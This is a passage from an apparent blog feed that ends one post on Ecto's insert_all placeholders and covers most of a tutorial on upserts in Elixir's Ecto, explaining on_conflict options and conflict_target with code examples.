&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;details: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:placeholder&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:details&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;placeholders&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;details: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;age: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;21&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert_all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Person&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;placeholders: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;placeholders&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you have questions or comments, let&apos;s discuss them on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until then, thanks for reading!&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/optimize-ectos-insert-all-with-placeholders"/>
    <id>https://peterullrich.com/optimize-ectos-insert-all-with-placeholders</id>
    <title>Optimize Ecto&apos;s insert_all with Placeholders</title>
    <updated>2022-10-01T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Before we dive into today&apos;s blog post, please consider the following question:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;What has two butts and kills people?&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The answer is obvious:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;An assassin&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Just as assassins have two butts, we will also talk about two &lt;strong&gt;outstanding&lt;/strong&gt; things today: &lt;code&gt;insert&lt;/code&gt; and &lt;code&gt;update&lt;/code&gt; operations on the database. In particular, this post provides a complete guide to their funky fusion: the &lt;code&gt;upsert&lt;/code&gt; operation.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://hexdocs.pm/ecto/constraints-and-upserts.html#upserts&quot;&gt;Upserts&lt;/a&gt; are a combination of &lt;code&gt;insert&lt;/code&gt; and &lt;code&gt;update&lt;/code&gt;. They allow you to update a schema without checking if it exists in your database first. A conventional &lt;code&gt;update&lt;/code&gt; throws an error if it doesn&apos;t exist. An &lt;code&gt;upsert&lt;/code&gt; updates the schema if it exists and creates it if it doesn&apos;t.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#when-to-use-upserts&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;when-to-use-upserts&quot;&gt;&lt;/a&gt;When to use Upserts&lt;/h2&gt;
&lt;p&gt;Upserts are useful in situations where you don&apos;t care whether a schema exists or not, you just want to update it. Let&apos;s say you want to track how often a user calls your API on a given day. In this case, you don&apos;t care whether it&apos;s the first or the hundredth API call. You just want to increase the number of API calls the user made.&lt;/p&gt;
&lt;p&gt;Without upserts, you would need two database calls: First, a &lt;code&gt;read&lt;/code&gt; to fetch any existing schema for the user and today&apos;s date combination. If a schema exists, you bump its counter and execute an &lt;code&gt;update&lt;/code&gt;. If no schema exists, you &lt;code&gt;insert&lt;/code&gt; a new one. In both scenarios, you always need a &lt;code&gt;read&lt;/code&gt; and a &lt;code&gt;write&lt;/code&gt; call. With upserts, you only need one &lt;code&gt;write&lt;/code&gt; call to the database (the &lt;code&gt;read&lt;/code&gt; is optional though, more about this later).&lt;/p&gt;
&lt;p&gt;So, instead of doing this:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;schema&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_by&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;user_id: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;date: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Date&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;utc_today&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;schema&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;changeset&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Changeset&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;change&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;schema&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;schema&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;counter&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;update&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;changeset&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;else&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;new_schema&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;user_id: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;date: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Date&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;utc_today&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;new_schema&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can simply do this:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;user_id: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;date: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Date&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;utc_today&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;on_conflict: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;inc: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;set: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;updated_at: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;DateTime&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;utc_now&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;conflict_target: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:user_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:date&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Much better! We condensed &lt;code&gt;14&lt;/code&gt; lines of code into &lt;code&gt;5&lt;/code&gt;, reduced the complexity of our code, and halved its database call! We replaced our &lt;code&gt;insert&lt;/code&gt; and &lt;code&gt;update&lt;/code&gt; calls with a single &lt;code&gt;upsert&lt;/code&gt;. The options that made this possible are &lt;code&gt;on_conflict&lt;/code&gt; and &lt;code&gt;conflict_target&lt;/code&gt;. Let&apos;s have a closer look at them.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#configuring-an-upsert&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;configuring-an-upsert&quot;&gt;&lt;/a&gt;Configuring an Upsert&lt;/h2&gt;
&lt;p&gt;The reason upserts only need one database call is the &lt;a href=&quot;https://hexdocs.pm/ecto/Ecto.Repo.html#c:insert/2-options&quot;&gt;on_conflict&lt;/a&gt; option for &lt;code&gt;Ecto.Repo.insert/2&lt;/code&gt;. It instructs the database what to do when you try to insert a schema that violates a uniqueness constraint. A uniqueness constraint could be a &lt;code&gt;unique_index&lt;/code&gt; on a specific field or a &lt;code&gt;primary_key&lt;/code&gt;. If you try to insert a duplicate into one of these fields, Ecto will throw an error like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;**&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.ConstraintError&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;constraint&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;when&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;attempting&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;to&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;struct:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;usages_user_id_date_index&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;unique_constraint&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can set the &lt;code&gt;on_conflict&lt;/code&gt; option to any option described &lt;a href=&quot;https://hexdocs.pm/ecto/Ecto.Repo.html#c:insert/2-upserts&quot;&gt;here&lt;/a&gt;. Without defining an &lt;code&gt;on_conflict&lt;/code&gt;-option, Ecto raises an error by default. If you want to ignore the error, you can instruct it to do &lt;code&gt;:nothing&lt;/code&gt;. You can overwrite the existing schema with &lt;code&gt;:replace_all&lt;/code&gt;, overwrite all fields except for some with &lt;code&gt;&amp;lbrace;:replace_all_except, fields&amp;rbrace;&lt;/code&gt;, or overwrite only specific fields with &lt;code&gt;&amp;lbrace;:replace, fields&amp;rbrace;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You can also define an &lt;a href=&quot;https://hexdocs.pm/ecto/Ecto.Query.html#update/3-operators&quot;&gt;update operator&lt;/a&gt; like &lt;code&gt;inc&lt;/code&gt;, &lt;code&gt;set&lt;/code&gt;, &lt;code&gt;push&lt;/code&gt;, or &lt;code&gt;pull&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;inc&lt;/code&gt; will increase (or decrease if the given value is negative) a numeric field with a given value.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;set&lt;/code&gt; overwrites a field with a new value.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;push&lt;/code&gt; appends a value to an array field.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pull&lt;/code&gt; removes a value from an array field.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Lastly, you can also provide a custom &lt;code&gt;update&lt;/code&gt; query like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;u&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;update: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;inc: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;counter: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;set: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;updated_at: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;DateTime&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;utc_now&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;on_conflict: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;conflict_target: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
